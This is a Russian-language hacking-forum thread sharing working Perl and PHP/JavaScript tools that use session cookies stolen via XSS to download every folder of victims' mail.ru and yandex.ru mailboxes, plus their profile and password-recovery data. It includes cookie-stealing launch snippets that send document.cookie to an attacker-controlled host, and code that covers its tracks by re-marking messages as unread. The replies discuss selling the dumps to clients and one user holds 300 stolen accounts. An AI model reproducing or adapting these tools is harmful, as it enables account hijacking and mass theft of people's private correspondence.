Ребят ... а можно я старое описание оставлю .. а ?! =\ Ибо правда заеп... скажу только что код уменьшил в три раза, улучил функционал, исправил багесы, старая версия кстать загнулась ... вобщем прошу любить и жаловать [N3w t00lz by mE] Наверняка каждому из вас приходилось или приходиться иметь дело с XSS на mail.ru т.к в данный момент это самая актуальная бага на выше упомянутом сервере .... как нам уже известно сессия не живёт вечно и желательно за небольшой промежуток времени собрать максимально большое количество информации... Думаю именно в тут вам и поможет эта тулза... в ее задачи как раз и входить .. слить анкетные данные, персональную информацию, контактную информацию, данные для восстановления пароля слить письма с таких директорий, как: - Входящие - Сомнительные - Отправленные - Корзина Кому сможет пригодиться этот скрипт?! ИМХО всем .. от мала до велика.... пригодится тем у кого "напряг" со временем... пригодится ленивым ... кому лень рыться на ящике и сливать в ручную... пригодится незнающим .. те у кого проблема с тем что бы поменять кукисы... пригодится тем кто делает бизнесс на хеке майл.ру ... например .. фейк не сработал ... а сессию вы получили ... не отдадите же вы заказчику окуратно записаные кукисы?!... заказчик наверняка кроме как распечатать и повешать их на стенку ничего не придумает P.S: Если нуна .. то можно сделать версию а-ля сниффер ... будет собирать кукису и аккуратненько дамрить всё на сервере..... PHP: #!/usr/bin/perl ## Сoded by [slider] ## http://forum.antichat.ru ## hello 2 my friends: brain[pillow], genom-- , cy4_, ... and .. and .. m0nzt3r - loleg :-P use IO::Socket; $cookies = q(ТУТ БУДЕТ КУКИСА); print '-' x 56 . "\n [i] Coded by slider \n [i] forum.antichat.ru\n" . '-' x 56 . "\n\n"; information();create_dir();private();inbox();outbox();doubtful();trash(); sub requester{ $rqst = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n"; if($_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n"; while($answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}} if($_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n"; open (mailbox, $_[1]);while($answer = <$rqst>){print mailbox $answer;}} if($_[2] == 3){ print $rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n"; while($answer = <$rqst>){ if ($answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){ print " [~] MID: $1 && PAGE: $p \n"; open (mailbox, ">./mailbox/$email/$_[1]/$p.$1.html"); $connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n"; print $connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n"; while($answer = <$connect>) {print mailbox $answer;}}}} } sub create_dir{ if ( ! -e "mailbox" ){mkdir "mailbox", 0755 or die "[~] Can't create mailbox: $!\n";} if ( ! -e "mailbox/$email" ){mkdir "mailbox/$email", 0755 or die "[~] Can't create mailbox/$email: $!\n";} if ( ! -e "mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox", 0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";} if ( ! -e "mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox", 0755 or die "[~] Can't create $email/outbox: $!\n";} if ( ! -e "mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful", 0755 or die "[~] Can't create $email/doubtful: $!\n";} if ( ! -e "mailbox/$email/trash" ){mkdir "mailbox/$email/trash", 0755 or die "[~] Can't create $email/trash: $!\n";} if ( ! -e "mailbox/$email/private" ){mkdir "mailbox/$email/private", 0755 or die "[~] Can't create $email/private: $!\n";} print "[!] Creating directory: ok\n";$o = '['.'-'x 5; } sub information{ $reg_last_p = '<b class=odin>· (.*) ·<\/b'; print "[!] Get information:\n\n";$o = '['.'-'x5; $email=requester(0,'<nobr>(.*)<\/nobr><\/td><form action=logout>',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")} print "[- E-mail: $email\n[\n"; $ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox (last_page): $ilp\n"; $somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n"; $outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox (last_page): $outbox\n"; $trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash (last_page): $trash\n\n"; } sub private{ print "[*] Getting private information: "; requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2); requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2); requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2); requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2); requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2); print "ok\n\n" } sub inbox{ print "[!] Geting: INBOX:\n\n"; for($p=1;$p<$ilp+1;$p++){ requester("/cgi-bin/msglist?folder=0&page=",'inbox',3); print " [~] ok \n";} } sub outbox{ print "\n[!] Geting: OUTBOX:\n\n"; for($p=1;$p<$outbox+1;$p++){ requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3); print " [~] ok \n";} } sub doubtful{ print "\n[!] Geting: DOUBTFUL:\n\n"; for($p=1;$p<$somn+1;$p++){ requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3); print " [~] ok \n";} } sub trash{ print "\n[!] Geting: TRASH:\n\n"; for($p=1;$p<$trash+1;$p++){ requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3); print " [~] ok \n";} } ## Active Perl: ## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi ## Antichat.ru Download here:http://webfile.ru/3794238 ------------------------------------------------------------------------------------------------------ Долгожданная версия дампера под сниффер - такс... а как юзать!?.. Да элементарно.. при юзании ксс подставляем ссылку на этот скрипт - ещё что то!?.. ну да... подправьте положение перловы в первой строке: #!"C:\perl\bin\perl.exe" на ваш путь.. ммм... а так же установите нужные права... + убедитесь что в папке со скриптом стоят права на запись =) Download here:http://webfile.ru/3815167
=== 30.10.2009 PHP: <?php set_time_limit(600); // если php < 5.2.0 if (!function_exists('json_decode')) { function json_decode($json) { // Author: walidator.info 2009 mod by LO (temp) $comment = false; $out = '$x='; for ($i = 0; $i < strlen($json); $i++) { if (!$comment) { if ($json[$i] == '{') $out .= ' array('; else if ($json[$i] == '}') $out .= ')'; else if ($json[$i] == '[') $out .= ' array('; else if ($json[$i] == ']') $out .= ')'; else if ($json[$i] == ':') $out .= '=>'; else $out .= $json[$i]; } else $out .= $json[$i]; if ($json[$i] == '"') { $n = 1; while ($json[$i - $n] == '\\') $n++; if (!($n & 1)) $comment = !$comment; } } @eval($out . ' or null;'); return $x; } } // определение целей, для которых запущен скрипт if ($_REQUEST['action'] == 'sender') js_sender(); else if($_REQUEST['action'] == 'save') { create_dir(rawurldecode($_REQUEST['email'])); write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n", rawurldecode($_REQUEST['email']), 'registr_info.txt'); } else select_mail(); // функция выбирает дампер в зависимости от кукисов function select_mail() { $cookie = str_replace(';%20', '; ', $_SERVER['QUERY_STRING']); if (strpos($cookie, 'Mpop') === false) { if (strpos($cookie, 'yandex') === false) die(); else yandex_ru_dump($cookie); } else mail_ru_dump($cookie); } // главная функция дампа mail.ru function mail_ru_dump($cookie) { preg_match('/:.+:(.+?):/', $cookie, $email); create_dir($email[1]); // чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается. $fcheck = fopen('./mailbox/'.$email[1].'/check.txt', 'ab') or die(); $exist = file_get_contents('./mailbox/'.$email[1].'/check.txt'); $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/'); $folders = json_decode(utf8_encode($folders[0][0]), true); if ($folders[1] == 'Redirect') js_mail_ru_dump(); // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер foreach ($folders[2]['fList'] as $folder) { $filename = ($folder['ID'] == 0 ? 'inbox' : ($folder['ID'] == 950 ? 'doubtful' : ($folder['ID'] == 500000 ? 'outbox' : ($folder['ID'] == 500002 ? 'trash' : 'custom')))); $fp = fopen('./mailbox/'.$email[1].'/'.$filename.'.html', 'ab') or die(); // все иды в папке одним запросом $ids = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D', $cookie, '/\[.*\]/'); $ids = json_decode(utf8_encode($ids[0][0]), true); foreach ($ids[2]['mList'] as $id) { // чеккер if (strpos($exist, $id) === false) { // $message[0][0] - строка JSON - из нее многое можно вытащить. $message = requester('pro.mail.ru', '/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id. '%22%5D', $cookie, '/\[.*\]/'); $message = json_decode(utf8_encode($message[0][0]), true); // проверка на прочитанность if ($message[2]['FlagUnread']) requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id. '%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg', $cookie); // запись сообщения fwrite($fp, utf8_decode("<b>ID: </b>" .$id. "<br/>\r\n<b>From: </b>". $message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n")); fwrite($fcheck, "$id\r\n"); } else break; } fclose($fp); } // проверка дампа приватной информации if (strpos($exist, 'private') === false) { $userinfo = requester('win.mail.ru', '/cgi-bin/userinfo?mra=1', $cookie, '/class=registr>(.*)<input type="submit"/s'); $anketa1 = requester('win.mail.ru', '/cgi-bin/anketa?page=1', $cookie, '/class=registr>(.*)<input type="submit"/s'); $anketa2 = requester('win.mail.ru', '/cgi-bin/anketa?page=2', $cookie, '/class=registr>(.*)<input type="submit"/s'); write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders, $email[1], 'private.html'); write_message("private\r\n", $email[1], 'check.txt'); } fclose($fcheck); } тупо соединить PHP: // JS-дампер mail.ru function js_mail_ru_dump() { ?> dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'; mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1'; email = document.cookie.match(/:.+:(.+):/)[1]; var r, ids=[], ids_index, context = window; document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>'; if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>'; switch (location.hostname) { case 'win.mail.ru': case 'koi.mail.ru': get_ids_html(1); break; case 'pro.mail.ru': get_ids_ajax(); break; default: /* if xss on [sub].mail.ru */ try {document.domain = 'mail.ru'} catch(er){} document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>'; } /* html-interface */ function get_ids_html(page) { requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', function() { if (r.readyState == 4) { ids_temp = r.responseText.match(/value="\d{20}/gi) || ''; for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7)); r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false); } } ); } /* ajax-interface */ function get_ids_ajax() { requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask, function() { if (r.readyState == 4) { ids = r.responseText.match(/\d{20}_msg/g) || ''; for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20); if (ids[ids_index = 0]) get_message(ids[ids_index]); } } ); } /* common */ function get_message(id) { requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D', function() { if (r.readyState == 4) { message = r.responseText; if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null); message = encodeURIComponent(message); /* HTML 5 */ if (window.postMessage) document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*'); else /* HTML<5 */ document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message); if (ids[++ids_index]) get_message(ids[ids_index]); } } ); } /* common */ function requester(url, func) { try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')} r.open('GET', url); r.onreadystatechange = func; r.send(null); } <?php die(); } // функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp function js_sender() { ?> <html> <body> <script> if (window.addEventListener) { window.addEventListener('message', listener, false); } else { window.attachEvent('onmessage', listener); } function listener(event) { with (new XMLHttpRequest()) open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'), setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'), send(event.data); } </script> </body> </html> <?php die(); } // аналогично: главная функция дампа yandex.ru function yandex_ru_dump($cookie) { $passport_and_email = requester('passport.yandex.ru', '/passport?mode=passport', $cookie, '/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si'); $index = requester('mail.yandex.ru', '/m/folders', $cookie); create_dir($passport_and_email[2][0].'@yandex.ru'); $fcheck = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt', 'ab') or die(); $exist = file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt'); if (strpos($exist, 'private') === false) { write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index, $passport_and_email[2][0].'@yandex.ru', 'private.html'); write_message("private\r\n", $passport_and_email[2][0].'@yandex.ru', 'check.txt'); } preg_match_all('/folder=(.*?)"/', $index, $folders); // если папок не будет найдено, то куки недействительны if ($folders[1][0] == '') die(); for ($n = 0; $n < count($folders[1]); $n++) { $filename = ($n == 0 ? 'inbox' : ($n == 1 ? 'outbox' : ($n == 2 ? 'trash' : ($n == 3 ? 'spam' : ($n == 4 ? 'draft' : 'custom'))))); $fp = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html', 'ab') or die(); $page = 0; do { $messagelist = requester('mail.yandex.ru', '/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page, $cookie); preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/', $messagelist, $ids_and_mark); if ($ids_and_mark[1][0] == '') break; for ($m = 0; $m < count($ids_and_mark[1]); $m++) { if (strpos($exist, $ids_and_mark[1][$m]) === false) { $answer = requester('mail.yandex.ru', '/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie, '/(<div class="c".*)<div class="op"/s'); $message = "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0]; // если условие выполняется, то письмо непрочитано. if ($ids_and_mark[2][$m] == 'b') requester('mail.yandex.ru', '/neo/ajax/action_message_operate?' + 'oper=mark_not_read¤t_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie); fwrite($fp, $message); fwrite($fcheck, $ids_and_mark[1][$m]."\r\n"); } } } while(preg_match('/btn-r/', $messagelist) > 0); fclose($fp); } fclose($fcheck); } // универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа function requester($host, $path, $cookie, $regexp = "") { $fp = fsockopen($host, 80) or die(); fputs ($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); $answer=''; while (!feof($fp)) $answer .= fgets($fp, 4096); fclose($fp); if ($regexp != '') preg_match_all($regexp, $answer, $answer); return $answer; } // универсальная функция записи function write_message($message, $email, $filename) { $fp = fopen("./mailbox/$email/$filename", "ab") or die(); fwrite($fp, $message); fclose($fp); } // универсальная функция создания директорий function create_dir($email) { if (!is_dir("./mailbox")) mkdir("./mailbox", 0755) or die(); if (!is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email, 0755) or die(); } //\\ LeverOne //\\ ?> Это - дампер сообщений mail.ru и yandex.ru Вот его особенности. [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ. [+] Собирает письма из ВСЕХ папок. [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени). При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть. [+] Чеккер: уже скаченные сообщения не запрашиваются вновь. [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться. [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622 Способ запуска: 1. Только PHP-функционал: http://mysite.xz/dump.php?Mpop=blabla (обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием) или new Image().src='http://myhost.xz/dump.php?' + document.cookie; 2. Весь функционал (целесообразнее) with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie; Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно. === 3.01.2010 Как проверить работоспособность php-части дампера на локальном хосте? Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы). Как проверить работоспособность javascript-части дампера на локальном хосте? Найдите в дампере следующие строки: PHP: $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/'); $folders = json_decode(utf8_encode($folders[0][0]), true); if ($folders[1] == 'Redirect') js_mail_ru_dump(); и замените их на: PHP: /* $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/'); $folders = json_decode(utf8_encode($folders[0][0]), true); if ($folders[1] == 'Redirect') */ js_mail_ru_dump(); Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете: javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0); Появился файл registr_info.txt в директории mailbox/[email protected] ? Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке. На текущий момент скрипт полностью работоспособен.
LeverOne я удивлён что ты не создал 3ую категорию, "замечания очень несущественного характера": В cабе create_dir ну никак не нужно: Code: $o = '['.'-'x5 да и вообще имха.. так будет красивее Code: $o = '['.'-'x 5 Касательно 1го пункта: исправил всё... Касательно 2го пункта: 1. Перезалил на файлообменник 2. Менять не буду ... мне так больше нравится 3. Разделители лишними не бывают, убирать их не стоит Спасибо за суровые замечания LeverOne, с утра очень подняло настроение)...
эм.. есть предложение сделать "универсальный" дампер ) прикрутить яху, гмейл, яндекс.почту, etc как смотришь на ето? )
Если будет актуально .. то почему бы и нет .. разом дампить ящики всех знаменитых сервисов ... заразить саент фреймами ... с ксс в знаменитых почтовиках и жрать результатов.. только нужно будет многое переписывать... нгадо будет отладить механизм.. Так же сделать чекер какой то .. что бы повторно ту же почту не сливать ...
Извиняюсь, можно нубский вопрос?) А как этим пользоваться? Я перл совсем не знаю, на все мои попытки выдаётся Something wrong: e-mail ADD: Может кто-нибудь напишет примерчик с использованием дампера. Я видимо не так или не туда всё ввожу)))
Вещь прикольная, но тут есть одна беда: сессия здохнет до того, как вы успеете что-то с неё поиметь. У меня из 16-ти только что отыметых кук только 13 срабатывали (остальные, видимо, по тем или иным причинам уже успели отойти в мир иной. И это свежак нереальный, только что со снифа. А вы прикиньте, что будет через час или два...). Тут есть смысл прикрутить автопизд инфы по мере поступления кук на сниф, чтобы снизить вероятность промаха. Вот тогда можно по идее ваще без фейков обходиться, если можно будет вытаскивать инфу о пароле и т.д., как указывалось ранее. В этом плане удобно с контактом работать. Там куки гораздо дольше живут и дохнут только если закрыть сессию. А на мэйле они сами по себе могут ласты посклеивать и потом будешь перед заказчиком с опущенными в пол глазами стоять... Тем более контакт далеко не все закрывают т.к. влом по 50 раз пас вводить на дню
DIMON4G А можно совсем пример?=) Т.е. с буковками) Я попробовал как ты сказал: Ничего не вышло, куча каких-то ошибок вылезла. Пробовал всякое в различных вариациях. Может мне пока ещё рано заниматься такими сложнами хаками?=)
Расслабсо, корнеро. Освойся для начала с xss, почитай про куки. Попиздь акков для тренировки. Ты сам не знаешь, зачем тебе эта тулза. Тупо увидел что-то интересное и сразу пытаешься во все влезть и все понять. Что-то из серии "увидел мяч, хочу в ЦСКА". Научись сначала просто попадать по мячу, а потом поговорим
Ну положим, с xss я вполне разбираюсь, что такое куки впринципе знаю, даже как их делать на пхп. И акков я натырил как раз 300 штук))) Вот хотел побыстрому всю инфу с них слить...
Возможно стоит чек по IP .. или ещё что то .. если свежая .. то это не сессия умерла.. у меня такое было не раз, ловил сессию которой от силы минута ... при попытке залезть в ящик требовалась авторизация ... вобщем тут всё благодоря настройкам... В разработке..
Тогда вписывай куки исмотри, что не так. Анализируй ошибки, которые выдает прога. Я щас тоже покопаюсь )
Она выдаёт столько ошибок, что они все не влазят в командную строку и самые первые затираются=)))) А анализировать код у меня не вышло ввиду того что перл не знаю вообще, а сам язык уж больно сильно отличается от Pascal;C;Java;PHP которые я более менее знаю... Ладно в любом случае я сёдня уезжаю недели на две. Потом как-нибудь перл поучу)